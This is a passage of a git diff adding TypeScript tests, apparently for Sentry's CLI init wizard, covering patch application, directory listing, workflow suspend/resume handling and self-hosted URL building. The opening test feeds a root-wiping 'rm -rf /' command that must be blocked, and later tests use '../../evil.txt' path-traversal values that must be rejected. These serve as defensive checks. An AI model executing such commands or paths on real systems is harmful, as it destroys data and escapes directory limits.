-rf /"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + // No commands should have executed (no data.results) + expect(result.data).toBeUndefined(); + }); + }); + + describe("apply-patchset", () => { + test("creates a new file with content", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "new.txt", action: "create", patch: "hello world" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "new.txt"), "utf-8")).toBe( + "hello world" + ); + }); + + test("creates nested directories automatically", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: "deep/nested/file.txt", + action: "create", + patch: "content", + }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect( + fs.readFileSync(join(testDir, "deep", "nested", "file.txt"), "utf-8") + ).toBe("content"); + }); + + test("modifies an existing file", async () => { + writeFileSync(join(testDir, "existing.txt"), "old"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "existing.txt", action: "modify", patch: "new content" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "existing.txt"), "utf-8")).toBe( + "new content" + ); + }); + + test("fails when modifying a non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "modify", patch: "content" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("file does not exist"); + }); + + test("deletes an existing file", async () => { + writeFileSync(join(testDir, "doomed.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "doomed.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.existsSync(join(testDir, "doomed.txt"))).toBe(false); + }); + + test("delete is a no-op for non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + + test("applies multiple patches in sequence", async () => { + writeFileSync(join(testDir, "to-modify.txt"), "old"); + writeFileSync(join(testDir, "to-delete.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "created.txt", action: "create", patch: "new" }, + { path: "to-modify.txt", action: "modify", patch: "updated" }, + { path: "to-delete.txt", action: "delete", patch: "" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(3); + + expect(fs.existsSync(join(testDir, "created.txt"))).toBe(true); + expect(fs.readFileSync(join(testDir, "to-modify.txt"), "utf-8")).toBe( + "updated" + ); + expect(fs.existsSync(join(testDir, "to-delete.txt"))).toBe(false); + }); + + test("dry-run does not write files but reports actions", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "phantom.txt", action: "create", patch: "content" }, + ], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(1); + expect(applied[0].action).toBe("create"); + + // File should NOT exist on disk + expect(fs.existsSync(join(testDir, "phantom.txt"))).toBe(false); + }); + + test("rejects entire patchset if any path is unsafe (no partial writes)", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "safe.txt", action: "create", patch: "good content" }, + { path: "../../evil.txt", action: "create", patch: "bad" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + + // First patch must NOT have been written + expect(fs.existsSync(join(testDir, "safe.txt"))).toBe(false); + }); + + test("dry-run still validates path safety", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "../../evil.txt", action: "create", patch: "bad" }], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + }); +}); + +describe("precomputeDirListing", () => { + let testDir: string; + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "precompute-test-")); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + test("returns DirEntry[] directly", () => { + writeFileSync(join(testDir, "app.ts"), "x"); + mkdirSync(join(testDir, "src")); + + const entries = precomputeDirListing(testDir); + + expect(Array.isArray(entries)).toBe(true); + expect(entries.length).toBeGreaterThanOrEqual(2); + + const names = entries.map((e) => e.name).sort(); + expect(names).toContain("app.ts"); + expect(names).toContain("src"); + + const file = entries.find((e) => e.name === "app.ts"); + expect(file?.type).toBe("file"); + + const dir = entries.find((e) => e.name === "src"); + expect(dir?.type).toBe("directory"); + }); + + test("returns empty array for non-existent directory", () => { + const entries = precomputeDirListing(join(testDir, "nope")); + expect(entries).toEqual([]); + }); + + test("recursively lists nested entries", () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.ts"), "x"); + + const entries = precomputeDirListing(testDir); + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.ts")); + }); +}); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts new file mode 100644 index 00000000..c9d2fdc4 --- /dev/null +++ b/test/lib/init/wizard-runner.test.ts @@ -0,0 +1,600 @@ +/** + * Wizard Runner Unit Tests + * + * Tests for the init wizard runner using spyOn on namespace imports + * (no mock.module) so these run under test:unit and contribute to + * lcov coverage. + */ + +import { + afterEach, + beforeEach, + describe, + expect, + jest, + mock, + spyOn, + test, +} from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { MastraClient } from "@mastra/client-js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as banner from "../../../src/lib/banner.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as auth from "../../../src/lib/db/auth.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as fmt from "../../../src/lib/init/formatters.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as inter from "../../../src/lib/init/interactive.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as ops from "../../../src/lib/init/local-ops.js"; +import type { + WizardOptions, + WorkflowRunResult, +} from "../../../src/lib/init/types.js"; +import { runWizard } from "../../../src/lib/init/wizard-runner.js"; + +// ── Helpers ───────────────────────────────────────────────────────────────── + +const noop = () => { + /* suppress output */ +}; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: true, + dryRun: false, + ...overrides, + }; +} + +// ── Spy declarations ──────────────────────────────────────────────────────── + +// clack +let introSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; +let cancelSpy: ReturnType; +let spinnerSpy: ReturnType; + +// deps +let getAuthTokenSpy: ReturnType; +let formatBannerSpy: ReturnType; +let formatResultSpy: ReturnType; +let formatErrorSpy: ReturnType; +let handleLocalOpSpy: ReturnType; +let precomputeDirListingSpy: ReturnType; +let handleInteractiveSpy: ReturnType; + +// MastraClient +let getWorkflowSpy: ReturnType; + +// stderr +let stderrSpy: ReturnType; + +// ── Mock workflow run ─────────────────────────────────────────────────────── + +let mockStartResult: WorkflowRunResult; +let mockResumeResults: WorkflowRunResult[]; +let resumeCallCount: number; +let mockRun: { + startAsync: ReturnType; + resumeAsync: ReturnType; +}; + +const spinnerMock = { + start: mock(), + stop: mock(), + message: mock(), +}; + +function setupWorkflowSpy() { + mockRun = { + startAsync: mock(() => Promise.resolve(mockStartResult)), + resumeAsync: mock(() => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success" as const, + }; + resumeCallCount += 1; + return Promise.resolve(result); + }), + }; + + const mockWorkflow = { + createRun: mock(() => Promise.resolve(mockRun)), + }; + + getWorkflowSpy = spyOn(MastraClient.prototype, "getWorkflow").mockReturnValue( + mockWorkflow as any + ); + + return { mockWorkflow }; +} + +// ── Setup / Teardown ──────────────────────────────────────────────────────── + +beforeEach(() => { + mockStartResult = { status: "success" }; + mockResumeResults = []; + resumeCallCount = 0; + process.exitCode = 0; + + // clack spies + introSpy = spyOn(clack, "intro").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + spinnerSpy = spyOn(clack, "spinner").mockReturnValue(spinnerMock as any); + + // Reset spinner mock call counts + spinnerMock.start.mockClear(); + spinnerMock.stop.mockClear(); + spinnerMock.message.mockClear(); + + // dep spies + getAuthTokenSpy = spyOn(auth, "getAuthToken").mockReturnValue("fake-token"); + formatBannerSpy = spyOn(banner, "formatBanner").mockReturnValue("BANNER"); + formatResultSpy = spyOn(fmt, "formatResult").mockImplementation(noop); + formatErrorSpy = spyOn(fmt, "formatError").mockImplementation(noop); + handleLocalOpSpy = spyOn(ops, "handleLocalOp").mockResolvedValue({ + ok: true, + data: { results: [] }, + }); + precomputeDirListingSpy = spyOn(ops, "precomputeDirListing").mockReturnValue( + [] + ); + handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ + action: "continue", + }); + + // stderr spy (suppress banner output) + stderrSpy = spyOn(process.stderr, "write").mockImplementation( + () => true as any + ); + + // MastraClient + setupWorkflowSpy(); +}); + +afterEach(() => { + introSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); + cancelSpy.mockRestore(); + spinnerSpy.mockRestore(); + + getAuthTokenSpy.mockRestore(); + formatBannerSpy.mockRestore(); + formatResultSpy.mockRestore(); + formatErrorSpy.mockRestore(); + handleLocalOpSpy.mockRestore(); + precomputeDirListingSpy.mockRestore(); + handleInteractiveSpy.mockRestore(); + + stderrSpy.mockRestore(); + getWorkflowSpy.mockRestore(); + + process.exitCode = 0; +}); + +// ── Tests ─────────────────────────────────────────────────────────────────── + +describe("runWizard", () => { + describe("success path", () => { + test("calls formatResult when workflow completes successfully", async () => { + mockStartResult = { status: "success", result: { platform: "React" } }; + + await runWizard(makeOptions()); + + expect(formatResultSpy).toHaveBeenCalled(); + expect(formatErrorSpy).not.toHaveBeenCalled(); + expect(spinnerMock.stop).toHaveBeenCalledWith("Done"); + }); + }); + + describe("TTY check", () => { + test("writes error to stderr when not TTY and not --yes", async () => { + const origIsTTY = process.stdin.isTTY; + Object.defineProperty(process.stdin, "isTTY", { + value: false, + configurable: true, + }); + + await runWizard(makeOptions({ yes: false })); + + Object.defineProperty(process.stdin, "isTTY", { + value: origIsTTY, + configurable: true, + }); + + const written = stderrSpy.mock.calls.map((c) => String(c[0])).join(""); + expect(written).toContain("Interactive mode requires a terminal"); + expect(process.exitCode).toBe(1); + }); + }); + + describe("connection error", () => { + test("times out if startAsync hangs", async () => { + jest.useFakeTimers(); + + const hangingRun = { + startAsync: mock( + () => + new Promise(() => { + /* never resolves */ + }) + ), + resumeAsync: mock(), + }; + const hangingWorkflow = { + createRun: mock(() => Promise.resolve(hangingRun)), + }; + getWorkflowSpy.mockReturnValue(hangingWorkflow as any); + + const { API_TIMEOUT_MS } = await import( + "../../../src/lib/init/constants.js" + ); + + const promise = runWizard(makeOptions()); + + // Flush microtasks so runWizard reaches the withTimeout setTimeout + await Promise.resolve(); + await Promise.resolve(); + + // Advance past the timeout + jest.advanceTimersByTime(API_TIMEOUT_MS); + + await promise; + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("timed out"); + expect(process.exitCode).toBe(1); + + jest.useRealTimers(); + }); + + test("handles startAsync rejection gracefully", async () => { + const failingRun = { + startAsync: mock(() => Promise.reject(new Error("Connection refused"))), + resumeAsync: mock(), + }; + const mockWorkflow = { + createRun: mock(() => Promise.resolve(failingRun)), + }; + getWorkflowSpy.mockReturnValue(mockWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith("Connection refused"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(process.exitCode).toBe(1); + }); + }); + + describe("workflow failure", () => { + test("calls formatError when status is failed", async () => { + mockStartResult = { status: "failed", error: "workflow exploded" }; + + await runWizard(makeOptions()); + + expect(formatErrorSpy).toHaveBeenCalled(); + expect(formatResultSpy).not.toHaveBeenCalled(); + expect(process.exitCode).toBe(1); + }); + }); + + describe("success with exitCode", () => { + test("treats success with exitCode as error", async () => { + mockStartResult = { + status: "success", + result: { exitCode: 10 }, + }; + + await runWizard(makeOptions()); + + expect(formatErrorSpy).toHaveBeenCalled(); + expect(process.exitCode).toBe(1); + }); + }); + + describe("dry-run mode", () => { + test("shows dry-run warning on start", async () => { + mockStartResult = { status: "success" }; + + await runWizard(makeOptions({ dryRun: true })); + + expect(logWarnSpy).toHaveBeenCalled(); + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("Dry-run"); + }); + }); + + describe("suspend/resume loop", () => { + test("dispatches local-op payload to handleLocalOp", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + const payload = handleLocalOpSpy.mock.calls[0][0] as { + type: string; + operation: string; + }; + expect(payload.type).toBe("local-op"); + expect(payload.operation).toBe("list-dir"); + }); + + test("dispatches interactive payload to handleInteractive", async () => { + mockStartResult = { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleInteractiveSpy).toHaveBeenCalled(); + const payload = handleInteractiveSpy.mock.calls[0][0] as { + type: string; + kind: string; + }; + expect(payload.type).toBe("interactive"); + expect(payload.kind).toBe("multi-select"); + }); + + test("auto-continues verify-changes in dry-run mode", async () => { + mockStartResult = { + status: "suspended", + suspended: [["verify-changes"]], + steps: { + "verify-changes": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Changes look good?", + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions({ dryRun: true })); + + expect(handleInteractiveSpy).not.toHaveBeenCalled(); + }); + + test("handles unknown suspend payload type", async () => { + mockStartResult = { + status: "suspended", + suspended: [["some-step"]], + steps: { + "some-step": { + suspendPayload: { type: "alien", data: 42 }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("alien"); + expect(process.exitCode).toBe(1); + }); + + test("handles missing suspend payload", async () => { + mockStartResult = { + status: "suspended", + suspended: [["empty-step"]], + steps: {}, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("No suspend payload"); + expect(process.exitCode).toBe(1); + }); + + test("non-WizardCancelledError in catch triggers log.error + cancel", async () => { + handleLocalOpSpy.mockImplementation(() => Promise.reject("string error")); + + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith("string error"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(process.exitCode).toBe(1); + }); + + test("falls back to result.suspendPayload when step payload missing", async () => { + mockStartResult = { + status: "suspended", + suspended: [["unknown-step"]], + steps: {}, + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["package.json"] }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + }); + + test("falls back to iterating steps when stepId key not found", async () => { + mockStartResult = { + status: "suspended", + suspended: [["step-a"]], + steps: { + "step-b": { + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["index.ts"] }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalled(); + // resumeAsync should be called with the actual key ("step-b"), not the + // original stepId ("step-a") from result.suspended + expect(mockRun.resumeAsync).toHaveBeenCalledWith( + expect.objectContaining({ step: "step-b" }) + ); + }); + + test("handles multiple suspend/resume iterations", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [ + { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }, + { status: "success" }, + ]; + + await runWizard(makeOptions()); + + expect(handleLocalOpSpy).toHaveBeenCalledTimes(1); + expect(handleInteractiveSpy).toHaveBeenCalledTimes(1); + expect(formatResultSpy).toHaveBeenCalled(); + }); + }); + + describe("malformed server responses", () => { + test("rejects non-object response from startAsync", async () => { + const badRun = { + startAsync: mock(() => Promise.resolve("not an object")), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Invalid workflow response: expected object" + ); + expect(process.exitCode).toBe(1); + }); + + test("rejects response with invalid status", async () => { + const badRun = { + startAsync: mock(() => + Promise.resolve({ status: "banana", result: {} }) + ), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Unexpected workflow status: banana" + ); + expect(process.exitCode).toBe(1); + }); + + test("rejects null response from startAsync", async () => { + const badRun = { + startAsync: mock(() => Promise.resolve(null)), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Invalid workflow response: expected object" + ); + expect(process.exitCode).toBe(1); + }); + }); +}); diff --git a/test/lib/sentry-urls.property.test.ts b/test/lib/sentry-urls.property.test.ts index ac645104..cc79b187 100644 --- a/test/lib/sentry-urls.property.test.ts +++ b/test/lib/sentry-urls.property.test.ts @@ -23,7 +23,7 @@ import { buildProjectUrl, buildSeerSettingsUrl, buildTraceUrl, - getSentryBaseUrl, + getOrgBaseUrl, isSentrySaasUrl, } from "../../src/lib/sentry-urls.js"; import { DEFAULT_NUM_RUNS } from "../model-based/helpers.js"; @@ -185,11 +185,11 @@ describe("isSentrySaasUrl properties", () => { }); describe("buildOrgUrl properties", () => { - test("output always starts with base URL", async () => { + test("output always starts with org base URL", async () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildOrgUrl(orgSlug); - expect(result.startsWith(getSentryBaseUrl())).toBe(true); + expect(result.startsWith(getOrgBaseUrl(orgSlug))).toBe(true); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -209,7 +209,7 @@ describe("buildOrgUrl properties", () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildOrgUrl(orgSlug); - expect(result).toBe(`${getSentryBaseUrl()}/organizations/${orgSlug}/`); + expect(result).toBe(`${getOrgBaseUrl(orgSlug)}/`); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -243,7 +243,7 @@ describe("buildProjectUrl properties", () => { property(tuple(slugArb, slugArb), ([orgSlug, projectSlug]) => { const result = buildProjectUrl(orgSlug, projectSlug); expect(result).toBe( - `${getSentryBaseUrl()}/settings/${orgSlug}/projects/${projectSlug}/` + `${getOrgBaseUrl(orgSlug)}/settings/projects/${projectSlug}/` ); }), { numRuns: DEFAULT_NUM_RUNS } @@ -331,7 +331,7 @@ describe("buildSeerSettingsUrl properties", () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildSeerSettingsUrl(orgSlug); - expect(result).toContain(`/settings/${orgSlug}/`); + expect(result).toContain("/settings/seer/"); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -447,15 +447,101 @@ describe("buildTraceUrl properties", () => { await fcAssert( property(tuple(slugArb, traceIdArb), ([orgSlug, traceId]) => { const result = buildTraceUrl(orgSlug, traceId); - expect(result).toBe( - `${getSentryBaseUrl()}/organizations/${orgSlug}/traces/${traceId}/` - ); + expect(result).toBe(`${getOrgBaseUrl(orgSlug)}/traces/${traceId}/`); }), { numRuns: DEFAULT_NUM_RUNS } ); }); }); +describe("self-hosted URLs", () => { + const SELF_HOSTED_URL = "https://sentry.company.com"; + + beforeEach(() => { + process.env.SENTRY_URL = SELF_HOSTED_URL; + }); + + test("getOrgBaseUrl returns base URL without subdomain", () => { + expect(getOrgBaseUrl("my-org")).toBe(SELF_HOSTED_URL); + }); + + test("buildOrgUrl uses path-based pattern", () => { + expect(buildOrgUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/` + ); + }); + + test("buildEventSearchUrl uses path-based pattern", () => { + expect( + buildEventSearchUrl("my-org", "abc123def456abc123def456abc123de") + ).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/issues/?query=event.id:abc123def456abc123def456abc123de` + ); + }); + + test("buildLogsUrl uses path-based pattern", () => { + expect(buildLogsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/explore/logs/` + ); + }); + + test("buildTraceUrl uses path-based pattern", () => { + expect(buildTraceUrl("my-org", "abc123def456abc123def456abc123de")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/traces/abc123def456abc123def456abc123de/` + ); + }); + + test("buildProjectUrl uses path-based pattern", () => { + expect(buildProjectUrl("my-org", "my-project")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/projects/my-project/` + ); + }); + + test("buildOrgSettingsUrl uses path-based pattern", () => { + expect(buildOrgSettingsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/` + ); + }); + + test("buildSeerSettingsUrl uses path-based pattern", () => { + expect(buildSeerSettingsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/seer/` + ); + }); + + test("buildBillingUrl uses path-based pattern", () => { + expect(buildBillingUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/billing/overview/` + ); + }); + + test("no URL builder prepends org as subdomain", async () => { + await fcAssert( + property( + tuple(slugArb, slugArb, eventIdArb), + ([orgSlug, projectSlug, eventId]) => { + const urls = [ + buildOrgUrl(orgSlug), + buildProjectUrl(orgSlug, projectSlug), + buildEventSearchUrl(orgSlug, eventId), + buildOrgSettingsUrl(orgSlug), + buildSeerSettingsUrl(orgSlug), + buildBillingUrl(orgSlug), + buildLogsUrl(orgSlug), + buildTraceUrl(orgSlug, eventId), + ]; + + for (const url of urls) { + const parsed = new URL(url); + expect(parsed.hostname).toBe("sentry.company.com"); + } + } + ), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); +}); + describe("URL building cross-function properties", () => { test("all URL builders produce valid URLs", async () => { await fcAssert(